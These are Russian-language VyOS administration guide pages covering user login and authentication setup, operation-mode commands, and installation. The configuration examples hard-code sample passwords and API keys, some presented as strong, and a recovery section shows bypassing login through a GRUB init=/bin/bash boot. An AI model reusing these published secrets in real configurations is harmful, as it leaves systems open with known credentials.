set system login tacacs server 192.168.1.20 key 'TacacsSecret123!'

# Port (default 49)
set system login tacacs server 192.168.1.20 port 49

# Timeout
set system login tacacs server 192.168.1.20 timeout 10

# Source address
set system login tacacs source-address 192.168.1.1

commit
```

### TACACS+ privilege levels

TACACS+ поддерживает 15 privilege levels (1-15):
- **Level 15**: Full admin access
- **Level 1**: Read-only

VyOS маппит TACACS+ levels:
- Level 15 → admin (configure mode)
- Level 1-14 → operator (operational mode only)

## Password Policies

### Минимальные требования

VyOS не имеет встроенной password policy engine, но можно использовать:

```bash
# Длина пароля
# Минимум 8 символов (рекомендуется 12+)

# Complexity
# Используйте буквы, цифры, специальные символы

# Примеры сильных паролей
set system login user alice authentication plaintext-password 'Tr0ng!P@ssw0rd#2024'
```

### Password rotation

```bash
# Регулярно меняйте пароли (каждые 90 дней)
# VyOS не имеет автоматической expiration
# Используйте external tools для enforcement
```

### Emergency admin account

```bash
# Всегда сохраняйте emergency admin account
set system login user emergency authentication plaintext-password 'VeryStrongEmergencyPass!'
set system login user emergency full-name 'Emergency Admin Account'

commit
```

## SSH Configuration

### SSH server settings

```bash
# SSH порт
set service ssh port 22

# Listen адреса
set service ssh listen-address 192.168.1.1
set service ssh listen-address 10.0.0.1

# Disable password authentication (только keys)
set service ssh disable-password-authentication

# Disable root login (already disabled by default)
# VyOS не позволяет root SSH login

commit
```

### SSH client settings

```bash
# SSH к другим системам с specific user
ssh alice@remote-server

# SSH с specific key
ssh -i /config/auth/id_rsa alice@remote-server
```

## Console Access

### Serial console

```bash
# Serial console включен по умолчанию
set system console device ttyS0 speed 9600

commit
```

### Console timeout

```bash
# Auto logout после inactivity (секунды)
set system login timeout 300

commit
```

## API Authentication

### API keys

```bash
# API ключи для HTTPS API
set service https api keys id admin key 'APIKey123456789!'
set service https api keys id readonly key 'ReadOnlyKey987!'

commit
```

API аутентификация отдельная от system login.

## Audit и Logging

### Command logging

```bash
# Все команды логируются автоматически в syslog
# Просмотр логов
show log authorization

# История команд
show history
```

### Failed login attempts

```bash
# Просмотр failed logins
show log authentication

# System log
cat /var/log/auth.log | grep 'Failed'
```

### Syslog для audit

```bash
# Отправка audit logs на remote syslog
set system syslog host 192.168.1.100 facility authpriv level info

commit
```

## Мониторинг и диагностика

### Активные пользователи

```bash
# Текущие login сессии
show system login users

# Who is logged in
who

# Last logins
last
```

Пример вывода:
```
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
alice    pts/0    192.168.1.50     09:15    0.00s  0.04s  0.00s w
bob      pts/1    192.168.1.51     10:23    5:00   0.01s  0.01s -bash
```

### User activity

```bash
# What users are doing
w

# Process по пользователю
ps aux | grep alice
```

### Authentication logs

```bash
# SSH authentication
show log authentication

# RADIUS authentication
show log | grep radius

# Detailed auth log
cat /var/log/auth.log
```

## Troubleshooting

### Не могу войти по SSH

**Проблема**: SSH connection refused или authentication failed.

**Причины**:
1. SSH service не запущен
2. Firewall блокирует port 22
3. Неправильный пароль или SSH key
4. User не существует

**Диагностика**:
```bash
# На VyOS (через console):
# Проверить SSH service
show service ssh

# Проверить firewall
show firewall ipv4 input filter

# Проверить пользователей
show system login

# SSH daemon status
systemctl status ssh
```

**Решение**:
```bash
# Запустить SSH
set service ssh port 22
set service ssh listen-address 0.0.0.0

# Firewall
set firewall ipv4 input filter rule 20 action accept
set firewall ipv4 input filter rule 20 destination port 22
set firewall ipv4 input filter rule 20 protocol tcp

# Проверить пользователя
set system login user alice authentication plaintext-password 'NewPass!'

commit
```

### SSH key authentication не работает

**Проблема**: Password prompt появляется несмотря на SSH key.

**Причины**:
1. Public key не добавлен правильно
2. Key type не поддерживается
3. Permissions на .ssh directory

**Решение**:
```bash
# Проверить SSH key
show system login user alice authentication public-keys

# Добавить заново
set system login user alice authentication public-keys workstation key 'AAAAB3NzaC1...'
set system login user alice authentication public-keys workstation type 'ssh-rsa'

# Удалить пароль если только keys
delete system login user alice authentication plaintext-password

commit
```

На клиенте:
```bash
# Verbose SSH для debugging
ssh -v alice@router

# Проверить что ключ загружается
ssh-add -l
```

### RADIUS authentication не работает

**Проблема**: RADIUS users не могут войти.

**Причины**:
1. RADIUS сервер недоступен
2. Shared secret неправильный
3. Firewall блокирует RADIUS порты

**Диагностика**:
```bash
# Ping RADIUS server
ping 192.168.1.10

# Test RADIUS connectivity
# На RADIUS сервере проверить logs

# VyOS auth log
show log authentication | grep radius
```

**Решение**:
```bash
# Проверить RADIUS конфигурацию
show system login radius

# Firewall для RADIUS
set firewall ipv4 output filter rule 50 action accept
set firewall ipv4 output filter rule 50 destination address 192.168.1.10
set firewall ipv4 output filter rule 50 destination port 1812,1813
set firewall ipv4 output filter rule 50 protocol udp

# Проверить secret
set system login radius server 192.168.1.10 key 'CorrectSecret'

commit
```

### Заблокирован из системы

**Проблема**: Изменили конфигурацию и больше не можете войти.

**Решение через console**:
```bash
# Console access всегда работает
# Войти через console (ttyS0)

# Сбросить пароль emergency user
configure
set system login user emergency authentication plaintext-password 'NewEmergencyPass!'
commit

# Проверить SSH service
set service ssh port 22
commit
```

**Решение через ISO/USB**:
```bash
# Boot с VyOS ISO
# Mount конфигурацию
mount /dev/sda1 /mnt
vi /mnt/config/config.boot

# Или переустановить image
install image
```

### Password forgotten

**Проблема**: Забыли пароль всех пользователей.

**Решение через console**:
```bash
# Boot в single user mode
# На GRUB: добавить 'init=/bin/bash'

# Mount filesystem
mount -o remount,rw /

# Создать нового пользователя через config
vi /opt/vyatta/etc/config/config.boot

# Или reset к default конфигурации
```

## Безопасность

### Рекомендации по безопасности

1. **Сильные пароли**:
```bash
# Минимум 12 символов, complexity
set system login user alice authentication plaintext-password 'Str0ng!C0mplex#P@ss'
```

2. **SSH keys вместо паролей**:
```bash
set system login user alice authentication public-keys workstation key 'AAAAB3...'
delete system login user alice authentication plaintext-password

set service ssh disable-password-authentication
```

3. **Изменить SSH порт**:
```bash
set service ssh port 2222

# Firewall
set firewall ipv4 input filter rule 20 destination port 2222
```

4. **Ограничить SSH access**:
```bash
# Только с management network
set service ssh listen-address 192.168.1.1

# Firewall
set firewall ipv4 input filter rule 20 source address 192.168.1.0/24
```

5. **Console timeout**:
```bash
set system login timeout 300
```

6. **Emergency account**:
```bash
set system login user emergency authentication plaintext-password 'EmergencyPass!'
```

7. **RADIUS/TACACS+ для enterprise**:
```bash
set system login radius server 192.168.1.10 key 'Secret'
```

8. **Regular audit**:
```bash
show log authentication
show system login users
```

9. **Disable unused users**:
```bash
delete system login user old-employee
```

10. **Two-factor где возможно**:
    - RADIUS с OTP
    - SSH + hardware token

## Интеграция

### Active Directory через RADIUS

```bash
# Windows NPS как RADIUS server
# NPS настроен для AD authentication

# VyOS RADIUS config
set system login radius server 192.168.1.10 key 'NPSSecret'

commit
```

### LDAP (indirect через RADIUS)

VyOS не имеет прямой LDAP интеграции. Используйте:
- FreeRADIUS с LDAP backend
- Windows NPS с AD
- Другой RADIUS proxy для LDAP

### SSH jump host

```bash
# VyOS как SSH jump host
# На client:
ssh -J alice@vyos-router bob@internal-server

# Или SSH config (~/.ssh/config):
Host internal-server
    ProxyJump alice@vyos-router
```

### Centralized logging

```bash
# Отправка auth logs на SIEM
set system syslog host 192.168.1.100 facility authpriv level info
set system syslog host 192.168.1.100 facility local0 level info

commit
```

## Примеры конфигураций

### Пример 1: Small office (local users)

```bash
# Admin user с SSH key
set system login user admin authentication public-keys workstation key 'AAAAB3NzaC1...'
set system login user admin authentication public-keys workstation type 'ssh-rsa'
set system login user admin full-name 'Administrator'

# Regular users с паролями
set system login user alice authentication plaintext-password 'AlicePass123!'
set system login user alice full-name 'Alice Smith'

set system login user bob authentication plaintext-password 'BobPass456!'
set system login user bob full-name 'Bob Johnson'

# Emergency account
set system login user emergency authentication plaintext-password 'Emergency2024!'

# SSH configuration
set service ssh port 22
set service ssh listen-address 192.168.1.1

# Console timeout
set system login timeout 600

commit
save
```

### Пример 2: Enterprise (RADIUS)

```bash
# RADIUS authentication
set system login radius server 192.168.1.10 key 'PrimaryRadius2024!'
set system login radius server 192.168.1.11 key 'BackupRadius2024!'
set system login radius server 192.168.1.10 timeout 5
set system login radius source-address 192.168.1.1

# Local admin fallback
set system login user localadmin authentication plaintext-password 'LocalAdminFallback!'
set system login user localadmin full-name 'Local Admin (Emergency)'

# Emergency account
set system login user emergency authentication encrypted-password '$6$rounds=656000$...'

# SSH keys only
set service ssh disable-password-authentication
set service ssh port 2222
set service ssh listen-address 192.168.1.1

# Firewall
set firewall ipv4 input filter rule 20 action accept
set firewall ipv4 input filter rule 20 source address 192.168.1.0/24
set firewall ipv4 input filter rule 20 destination port 2222
set firewall ipv4 input filter rule 20 protocol tcp

# Audit logging
set system syslog host 192.168.1.100 facility authpriv level info

commit
save
```

### Пример 3: DevOps (automation)

```bash
# Human users
set system login user alice authentication public-keys laptop key 'AAAAB3...'
set system login user alice authentication public-keys laptop type 'ssh-ed25519'

# Automation user
set system login user ansible authentication public-keys automation key 'AAAAB3...'
set system login user ansible authentication public-keys automation type 'ssh-ed25519'
set system login user ansible full-name 'Ansible Automation'

# API keys
set service https api keys id ansible key 'AnsibleAPIKey123456!'

# SSH configuration
set service ssh port 22
set service ssh listen-address 0.0.0.0

# Disable password auth (keys only)
set service ssh disable-password-authentication

commit
save
```

## Лучшие практики

1. **SSH keys > passwords**:
   - Всегда используйте SSH keys для automation
   - Disable password auth где возможно

2. **Least privilege**:
   - Создавайте пользователей с минимальными правами
   - Используйте RADIUS/TACACS+ для granular control

3. **Regular audit**:
   - Просматривайте активных пользователей
   - Удаляйте старые accounts
   - Monitor failed logins

4. **Strong passwords**:
   - Минимум 12 символов
   - Complexity requirements
   - Regular rotation (90 days)

5. **Multi-factor где возможно**:
   - RADIUS с OTP
   - SSH keys + password

6. **Emergency access**:
   - Всегда имейте emergency account
   - Храните credentials безопасно

7. **Centralized auth для enterprise**:
   - RADIUS/TACACS+ для масштабируемости
   - LDAP/AD integration

8. **Console security**:
   - Physical security для console access
   - Timeout для auto logout

9. **Logging**:
   - Enable comprehensive logging
   - Centralized log collection
   - Regular review

10. **Documentation**:
    - Документируйте user accounts
    - Access procedures
    - Emergency recovery steps

## Заключение

Login management в VyOS обеспечивает безопасный и гибкий доступ к системе. Ключевые возможности:

- **Local users** - простая конфигурация для малых сред
- **SSH keys** - passwordless и безопасная аутентификация
- **RADIUS/TACACS+** - централизованная аутентификация для enterprise
- **Audit logging** - отслеживание доступа и действий

Используйте appropriate authentication method для вашей среды:
- Small office → Local users с SSH keys
- Enterprise → RADIUS/TACACS+ с AD integration
- DevOps → SSH keys для automation

Правильная конфигурация login management критична для безопасности VyOS и должна быть первым шагом при настройке системы.


---

# Операционный режим (Operation Mode)

Source: https://opennix.org/docs/vyos/admin-guide/vyos-operation-mode/


Операционный режим в VyOS предоставляет команды для мониторинга состояния системы, диагностики проблем и выполнения операционных задач без изменения конфигурации. Это основной режим работы для повседневного администрирования VyOS.

## Основные концепции

### Операционный vs Конфигурационный режим

**Операционный режим** (Operation Mode):
- Режим по умолчанию при входе в систему
- Только чтение и мониторинг
- Выполнение операционных команд (show, monitor, reset, clear)
- Не изменяет конфигурацию
- Приглашение: `vyos@router:~$`

**Конфигурационный режим** (Configuration Mode):
- Для изменения конфигурации
- Команды set, delete, commit, rollback
- Транзакционный подход
- Приглашение: `vyos@router#`
- Вход: команда `configure`

### Категории команд

1. **show** - Просмотр информации (состояние, статистика, конфигурация)
2. **monitor** - Мониторинг в реальном времени
3. **reset** - Сброс состояния (не конфигурации)
4. **clear** - Очистка счетчиков и кэшей
5. **ping/traceroute** - Сетевая диагностика
6. **generate/add/delete** - Системные операции

## Show Commands

### System Information

```bash
# Общая информация о системе
show version

# Вывод:
# Version:          VyOS 1.5.x
# Release train:    current
# Built by:         autobuild@vyos.net
# Built on:         Mon 14 Oct 2024 12:00 UTC
# Build UUID:       ...
# Architecture:     x86_64

# Аппаратная информация
show system hardware

# Использование ресурсов
show system memory
show system cpu
show system storage

# Uptime и load average
show system uptime

# Процессы
show system processes
show system processes summary
show system processes extensive
```

### Network Interfaces

```bash
# Все интерфейсы
show interfaces

# Конкретный интерфейс
show interfaces ethernet eth0
show interfaces bridge br0
show interfaces bond bond0

# Краткий формат
show interfaces brief

# Статистика интерфейса
show interfaces ethernet eth0 statistics
show interfaces ethernet eth0 counters

# Физическое состояние
show interfaces ethernet eth0 physical

# Очереди интерфейса
show interfaces ethernet eth0 queue
```

### IP Configuration and Routing

```bash
# IP адреса
show interfaces addresses

# ARP таблица
show arp
show arp interface eth0

# Таблица маршрутизации
show ip route
show ip route summary
show ip route 192.168.1.0/24

# Конкретный маршрут
show ip route 8.8.8.8

# IPv6 маршруты
show ipv6 route
show ipv6 route summary

# Neighbor таблица (IPv6)
show ipv6 neighbors
```

### Routing Protocols

```bash
# OSPF
show ip ospf neighbor
show ip ospf database
show ip ospf interface
show ip ospf route

# BGP
show ip bgp summary
show ip bgp neighbors
show ip bgp
show ip bgp neighbor 10.0.0.1 advertised-routes
show ip bgp neighbor 10.0.0.1 received-routes

# Route maps и prefix lists
show route-map
show ip prefix-list
show ip community-list
```

### VPN

```bash
# IPsec
show vpn ipsec sa
show vpn ipsec state
show vpn ipsec status

# WireGuard
show interfaces wireguard
show interfaces wireguard wg01

# OpenVPN
show openvpn server
show openvpn client
show openvpn status server server1
```

### Firewall and NAT

```bash
# Firewall правила
show firewall
show firewall name WAN_IN
show firewall statistics

# NAT
show nat source statistics
show nat destination statistics
show nat source rules
show nat destination rules

# Connection tracking
show conntrack table ipv4
show conntrack table ipv6
show conntrack statistics
```

### Services

```bash
# DHCP server
show service dhcp-server leases
show service dhcp-server statistics
show service dhcp-server leases pool LAN

# DHCPv6 server
show service dhcpv6-server leases

# DNS forwarding
show dns forwarding statistics
show dns forwarding nameservers

# NTP
show ntp
show system ntp

# SNMP
show snmp community
show snmp v3
```

### System Services

```bash
# SSH
show service ssh

# Пользователи
show users
show users recent

# Логи
show log
show log tail
show log tail 50
show log | match error
show log | match eth0

# Сервисы
show system services
```

### Configuration

```bash
# Текущая конфигурация
show configuration

# Конкретная секция
show configuration interfaces
show configuration service dhcp-server

# Команды для воспроизведения
show configuration commands
show configuration commands | match interface

# Сохраненная конфигурация
show configuration file /config/config.boot

# История commit
show system commit
show system commit diff 5
```

## Monitor Commands

### Real-Time Monitoring

```bash
# Логи в реальном времени
monitor log
monitor log colored

# Трафик интерфейса
monitor interfaces
monitor interfaces eth0
monitor interfaces eth0 traffic

# Firewall
monitor firewall
monitor firewall name WAN_IN

# BGP соседи
monitor protocol bgp

# Bandwidth usage
monitor bandwidth interface eth0
```

### Traffic Capture

```bash
# Захват трафика (tcpdump)
monitor traffic interface eth0
monitor traffic interface eth0 filter "port 80"
monitor traffic interface eth0 save /tmp/capture.pcap

# С дополнительными фильтрами
monitor traffic interface eth0 filter "host 192.168.1.100 and port 443"

# Verbose output
monitor traffic interface eth0 verbose
```

## Reset Commands

### Connection and Session Reset

```bash
# Сброс BGP соседа
reset ip bgp 10.0.0.1

# Сброс OSPF процесса
reset ip ospf process

# Сброс IPsec SA
reset vpn ipsec-peer 203.0.113.1

# Сброс conntrack соединений
reset conntrack-sync external
reset conntrack-sync internal
```

### Terminal Reset

```bash
# Сброс терминала
reset terminal
```

## Clear Commands

### Clearing Counters and Cache

```bash
# Очистка счетчиков интерфейса
clear interfaces ethernet eth0 counters

# Очистка firewall counters
clear firewall name WAN_IN counters
clear firewall statistics

# Очистка ARP кэша
clear arp

# Очистка route кэша
clear ip route cache

# Очистка DNS кэша
clear dns forwarding cache

# Очистка conntrack таблицы
clear conntrack table ipv4
clear conntrack table ipv6
```

### Clearing System State

```bash
# Очистка системных логов
clear system login history user vyos

# Очистка DHCP leases
clear service dhcp-server lease 192.168.1.100
```

## Network Diagnostic Commands

### Connectivity Testing

```bash
# Ping
ping 8.8.8.8
ping 8.8.8.8 count 5
ping 8.8.8.8 size 1400
ping 8.8.8.8 source-address 192.168.1.1

# Ping IPv6
ping 2001:4860:4860::8888
ping6 2001:4860:4860::8888

# Traceroute
traceroute 8.8.8.8
traceroute 8.8.8.8 source-address 192.168.1.1

# Traceroute IPv6
traceroute6 2001:4860:4860::8888

# MTU path discovery
ping 8.8.8.8 do-not-fragment size 1500
```

### DNS and Network Tools

```bash
# DNS lookup
nslookup google.com
nslookup google.com 8.8.8.8

# Dig
dig google.com
dig google.com @8.8.8.8 +short
dig google.com MX

# Host
host google.com
host 8.8.8.8

# Telnet
telnet 192.168.1.1 22
telnet smtp.gmail.com 25
```

### Network Scanning

```bash
# Port scan (если установлен nmap)
scan port 192.168.1.1
scan port 192.168.1.0/24 port 22

# ARP scan
scan arp interface eth1
```

## System Operation Commands

### Power Management

```bash
# Перезагрузка
reboot
reboot now
reboot in 10

# Выключение
poweroff
poweroff now
poweroff in 30

# Отмена запланированной перезагрузки
shutdown -c
```

### Image Management

```bash
# Список образов
show system image

# Установка нового образа
add system image https://downloads.vyos.io/...

# Удаление образа
delete system image 1.4.0

# Установка образа по умолчанию
set system image default-boot 1.5.0
```

### Configuration Management

```bash
# Копирование конфигурации
copy file /config/config.boot to /config/config.boot.backup
copy running-config file /tmp/running.conf

# Загрузка конфигурации
load /config/config.boot.backup

# Сохранение конфигурации
save
save /config/config.boot.backup
```

### PKI Operations

```bash
# Генерация ключей
generate pki key-pair
generate pki key-pair install my-key

# Генерация сертификата
generate pki certificate sign my-ca install my-cert

# Генерация CSR
generate pki certificate-request install my-csr

# Просмотр сертификатов
show pki ca
show pki certificate
```

### SSH Keys

```bash
# Генерация SSH ключей
generate ssh-key user vyos

# Показать SSH ключи
show ssh fingerprints
show ssh server-key
```

## Advanced Operational Commands

### System Debugging

```bash
# Включить debug для протокола
debug ospf events
debug bgp updates

# Посмотреть debug output
show log | match debug

# Отключить debug
no debug ospf events
no debug all
```

### Hardware Information

```bash
# PCI устройства
show hardware pci

# CPU информация
show hardware cpu

# Memory banks
show hardware mem

# Sensors (температура, вентиляторы)
show hardware sensors
```

### Container Operations

```bash
# Список контейнеров
show container

# Детали контейнера
show container name my-container

# Логи контейнера
show container log name my-container

# Статистика контейнера
show container name my-container statistics
```

## Примеры практического использования

### 1. Диагностика проблем с подключением

```bash
# Шаг 1: Проверить интерфейсы
show interfaces brief

# Шаг 2: Проверить IP адреса
show interfaces addresses

# Шаг 3: Проверить маршрутизацию
show ip route 8.8.8.8

# Шаг 4: Проверить conntrack
show conntrack table ipv4 | match 8.8.8.8

# Шаг 5: Ping test
ping 8.8.8.8 source-address <your-ip>

# Шаг 6: Traceroute
traceroute 8.8.8.8
```

### 2. Проверка VPN статуса

```bash
# IPsec
show vpn ipsec sa
show vpn ipsec status

# Если туннель down - логи
show log | match ipsec

# Статистика интерфейса VTI
show interfaces vti vti0 statistics

# Routing через VPN
show ip route | match vti0
```

### 3. Мониторинг производительности

```bash
# CPU и память
show system uptime
show system cpu
show system memory

# Network throughput
show interfaces eth0 statistics

# Connection tracking usage
show conntrack statistics

# Топ процессов
show system processes extensive | head -20
```

### 4. Диагностика BGP

```bash
# Состояние BGP соседей
show ip bgp summary

# Детали соседа
show ip bgp neighbors 10.0.0.1

# Получаемые маршруты
show ip bgp neighbor 10.0.0.1 received-routes

# Анонсируемые маршруты
show ip bgp neighbor 10.0.0.1 advertised-routes

# BGP таблица
show ip bgp

# Путь к конкретной сети
show ip bgp 203.0.113.0/24
```

### 5. Анализ firewall

```bash
# Все правила firewall
show firewall

# Статистика конкретного ruleset
show firewall name WAN_IN statistics

# Connection tracking
show conntrack table ipv4 | wc -l

# Топ источников conntrack
show conntrack table ipv4 | awk '{print $5}' | cut -d= -f2 | sort | uniq -c | sort -rn | head -10

# Проверка конкретного соединения
show conntrack table ipv4 | match "192.168.1.100"
```

### 6. DHCP troubleshooting

```bash
# Активные leases
show service dhcp-server leases

# Статистика DHCP
show service dhcp-server statistics

# Leases конкретного pool
show service dhcp-server leases pool LAN

# Логи DHCP
show log | match dhcp
```

## Полезные техники

### Фильтрация вывода

```bash
# Grep (match)
show configuration | match interface
show log | match error

# Exclude
show configuration | no-more | grep -v "!"

# Head/Tail
show log tail 50
show log | head -20

# Pipe to less для длинного вывода
show configuration | no-more
```

### Форматирование вывода

```bash
# JSON формат (для API)
show interfaces format json
show configuration format json

# Без пагинации
show log | no-more

# С timestamps
show log | match error | tail
```

### Копирование и сохранение вывода

```bash
# Сохранить в файл
show configuration > /tmp/config.txt
show running-config | cat > /tmp/running.txt

# SCP копирование
scp /tmp/config.txt user@server:/backup/
```

### Alias для частых команд

В конфигурационном режиме:
```bash
configure
set system login user vyos alias sh="show"
set system login user vyos alias si="show interfaces"
set system login user vyos alias sir="show ip route"
commit
save
```

Теперь в операционном режиме:
```bash
sh version      # вместо show version
si brief        # вместо show interfaces brief
sir summary     # вместо show ip route summary
```

## Command Cheat Sheet

### Топ-20 команд для ежедневной работы

1. `show interfaces brief` - Краткий статус интерфейсов
2. `show ip route` - Таблица маршрутизации
3. `show configuration` - Текущая конфигурация
4. `show system uptime` - Uptime системы
5. `show log tail 50` - Последние 50 строк лога
6. `ping 8.8.8.8` - Тест подключения
7. `show service dhcp-server leases` - DHCP leases
8. `show vpn ipsec sa` - IPsec туннели
9. `show ip bgp summary` - BGP статус
10. `show firewall` - Firewall правила
11. `show conntrack table ipv4` - Connection tracking
12. `monitor log` - Логи в реальном времени
13. `show system memory` - Использование памяти
14. `show system cpu` - Использование CPU
15. `show interfaces statistics` - Статистика интерфейсов
16. `show nat source statistics` - NAT статистика
17. `show version` - Версия системы
18. `show users` - Залогиненные пользователи
19. `show system commit` - История commit'ов
20. `save` - Сохранить конфигурацию

## Best Practices

1. **Регулярный мониторинг**
   - Проверять `show system uptime` ежедневно
   - Мониторить `show system memory` и CPU
   - Отслеживать `show conntrack statistics`
   - Проверять `show log | match error`

2. **Документирование**
   - Сохранять вывод важных команд
   - Делать screenshots при проблемах
   - Вести log book операций
   - Документировать изменения

3. **Troubleshooting workflow**
   - Начинать с `show interfaces brief`
   - Проверять `show log tail 100`
   - Использовать `monitor log` для real-time
   - Собирать всю диагностику перед обращением в поддержку

4. **Performance monitoring**
   - Регулярно проверять `show system resources`
   - Мониторить interface statistics
   - Отслеживать conntrack usage
   - Следить за routing table size

5. **Безопасность**
   - Регулярно проверять `show users`
   - Мониторить `show system login`
   - Проверять firewall statistics
   - Анализировать conntrack для аномалий

6. **Automation**
   - Использовать скрипты для регулярных проверок
   - Собирать метрики в системы мониторинга
   - Автоматизировать рутинные задачи
   - Создавать health check скрипты

7. **Backup awareness**
   - Регулярно делать `save`
   - Периодически `show configuration commands > backup.txt`
   - Хранить backup вне устройства
   - Тестировать restore процедуру

8. **Learning path**
   - Начать с базовых show commands
   - Изучать вывод команд
   - Экспериментировать с фильтрами
   - Создавать собственные alias

9. **Remote management**
   - Использовать SSH вместо telnet
   - Настроить tmux/screen для длительных сессий
   - Иметь out-of-band доступ
   - Документировать recovery процедуры

10. **Command history**
    - Использовать историю команд (стрелки вверх/вниз)
    - Ctrl+R для поиска в истории
    - Сохранять часто используемые команды
    - Создавать команды-шаблоны

## Заключение

Операционный режим VyOS предоставляет мощный набор команд для мониторинга, диагностики и управления системой. Освоение этих команд критично для эффективного администрирования VyOS и быстрого решения проблем в production окружениях.

**Ключевые takeaways**:
- Операционный режим - для мониторинга, не для изменений
- Show commands - основа диагностики
- Monitor commands - real-time visibility
- Reset/Clear - для операционных задач
- Практика использования - ключ к мастерству

**Дополнительные ресурсы**:
- [VyOS Command Reference](https://docs.vyos.io/)
- [Configuration Guide](/docs/vyos/) - для изменения конфигурации
- [Troubleshooting](/docs/vyos/admin-guide/vyos-troubleshooting/) - методология решения проблем



---

# Установка VyOS и управление образами

Source: https://opennix.org/docs/vyos/first-steps/vyos-installation/


VyOS может быть установлена на различные платформы: физическое оборудование, виртуальные машины, облачные среды.

## Требования к системе

### Минимальные требования

- **Процессор**: 1 CPU core (64-bit)
- **Память**: 512 MB RAM
- **Дисковое пространство**: 2 GB

### Рекомендуемые требования

- **Процессор**: 2+ CPU cores
- **Память**: 2 GB RAM или более
- **Дисковое пространство**: 10 GB или более

## Предварительные требования для виртуальных установок

**Важно**: При установке на виртуальные машины убедитесь, что MAC-адреса сетевых интерфейсов не являются локально администрируемыми (locally administered). Локально администрируемые адреса определяются установкой второго младшего бита первого октета в 1.

Пример локально администрируемого MAC-адреса (не рекомендуется):
```
02:00:00:00:00:01
```

Рекомендуемый формат MAC-адреса:
```
00:50:56:xx:xx:xx
```

## Загрузка образа

Загрузите ISO-образ VyOS:

- **Официальный релиз**: https://vyos.io/
- **Nightly builds**: https://vyos.net/get/nightly-builds/

### Доступные версии

- **VyOS 1.5.x (Circinus)** - Rolling release (текущая разработка)
- **VyOS 1.4.x (Sagitta)** - LTS (Long Term Support)

## Типы установки

### 1. Live-установка

Live-образ позволяет запустить VyOS без установки на диск. Это полезно для:
- Тестирования VyOS
- Аварийного восстановления
- Временного использования

После загрузки с ISO войдите в систему:
- Username: `vyos`
- Password: `vyos`

### 2. Постоянная установка

Для установки VyOS на диск выполните команду:

```
vyos@vyos:~$ install image
```

Мастер установки задаст следующие вопросы:

```
Would you like to continue? (Yes/No) [Yes]: Yes
Partition (Auto/Parted/Skip) [Auto]: Auto
Install the image on? [sda]: sda
Continue? (Yes/No) [No]: Yes
How big of a root partition should I create? (2000MB - 20000MB) [20000]:
What would you like to name this image? [1.5.x-latest]:
Copy config to new image? (Yes/No) [No]: No
Enter password for user 'vyos': ********
Retype password for user 'vyos': ********
Which drive should GRUB modify the boot partition on? [sda]: sda
```

Параметры установки:
- **Partition**: Автоматическое разбиение диска
- **Install the image on**: Целевой диск (обычно sda)
- **Root partition size**: Размер корневого раздела
- **Image name**: Имя образа (для управления версиями)
- **Copy config**: Копировать ли текущую конфигурацию
- **Password**: Пароль пользователя vyos
- **GRUB**: Установка загрузчика

После установки перезагрузите систему:

```
vyos@vyos:~$ reboot
```

## Установка в различных средах

### Виртуальные среды

#### Libvirt/KVM/QEMU

```bash
virt-install \
  --name vyos \
  --ram 2048 \
  --vcpus 2 \
  --disk path=/var/lib/libvirt/images/vyos.qcow2,size=10 \
  --os-variant debian10 \
  --network bridge=virbr0 \
  --graphics vnc \
  --console pty,target_type=serial \
  --cdrom /path/to/vyos.iso
```

#### Proxmox VE

1. Загрузите ISO в хранилище Proxmox
2. Создайте новую виртуальную машину:
   - OS Type: Linux (6.x - 2.6 Kernel)
   - Memory: минимум 512MB, рекомендуется 2GB
   - Network: VirtIO (паравиртуализация)
   - Disk: VirtIO SCSI, минимум 2GB
3. Загрузите с ISO и выполните `install image`

#### VMware ESXi

1. Создайте новую виртуальную машину:
   - Guest OS: Other Linux (64-bit)
   - Memory: минимум 512MB
   - Network Adapter: VMXNET3
   - SCSI Controller: VMware Paravirtual
2. Подключите ISO-образ VyOS
3. Загрузите и выполните установку

### Облачные среды

#### Amazon AWS

VyOS доступна в AWS Marketplace:

1. Найдите AMI VyOS в Marketplace
2. Запустите EC2 инстанс
3. Подключитесь по SSH используя ключ EC2

Начальная конфигурация:
```bash
ssh -i your-key.pem vyos@<instance-ip>
```

#### Microsoft Azure

1. Найдите VyOS в Azure Marketplace
2. Создайте виртуальную машину
3. Подключитесь по SSH

#### Google Cloud Platform

1. Найдите VyOS в GCP Marketplace
2. Создайте Compute Engine инстанс
3. Подключитесь по SSH через консоль GCP или gcloud CLI

#### Яндекс.Облако

VyOS доступна в Яндекс.Облаке через Marketplace. При развертывании используются оптимизированные образы для облачной среды.

##### Развертывание из Marketplace

1. Перейдите в Yandex Cloud Marketplace
2. Найдите VyOS (доступны версии 1.4 LTS и 1.5 Current)
3. Создайте виртуальную машину из образа
4. Укажите SSH ключ в metadata при создании

##### Важные особенности для Yandex Cloud

**Автоматическая конфигурация при первом запуске:**
- Образ автоматически настраивается при первой загрузке через cloud-init
- Создается пользователь из метаданных инстанса (вместо стандартного `vyos`)
- SSH ключи добавляются автоматически из Yandex Cloud metadata
- Password authentication отключается после настройки SSH ключей
- Cloud-init отключается после первого запуска для безопасности
- Сетевая конфигурация полностью управляется VyOS (cloud-init не управляет сетью)

**Доступ к инстансу:**
```bash
ssh -l <your-username> <instance-ip>
```

Где `<your-username>` - имя пользователя из метаданных Yandex Cloud (обычно совпадает с логином в консоли).

**Оптимизации для Yandex Cloud:**
- Включен qemu-guest-agent для интеграции с гипервизором
- Настроены VirtIO offloading (GSO, GRO, TSO, SG)
- Оптимизирован TCP stack (BBR congestion control)
- Настроена консоль через serial port (ttyS0) для доступа через Yandex Cloud Console
- Автоматическое расширение корневого раздела до полного размера диска

**Metadata service:**
```
datasource_list: [ Ec2 ]
datasource:
  Ec2:
    metadata_urls: [ 'http://169.254.169.254' ]
    strict_id: false
```

**Сетевая конфигурация отключена в cloud-init:**
```yaml
network: {config: disabled}
```

Это обеспечивает полный контроль VyOS над сетевой конфигурацией.

### Физическое оборудование

#### Поддерживаемые платформы

VyOS работает на различном x86_64 оборудовании:

- **Supermicro A2SDi** (Atom C3000)
- **PC Engines APU4**
- **Qotom Q355G4**
- **Partaker i5**
- **Acrosser AND-J190N1**
- **Gowin GW-FN-1UR1-10G**
- Любой x86_64 сервер с поддержкой VGA/Serial консоли

#### Процесс установки

1. Запишите ISO на USB-накопитель:
```bash
dd if=vyos-1.5.x.iso of=/dev/sdX bs=4M status=progress
sync
```

2. Загрузитесь с USB
3. Выполните `install image`
4. Извлеките USB и перезагрузите систему

### PXE Boot

VyOS поддерживает загрузку по сети через PXE:

1. Настройте TFTP-сервер
2. Извлеките kernel и initrd из ISO
3. Настройте PXE конфигурацию:

```
LABEL vyos
    MENU LABEL VyOS
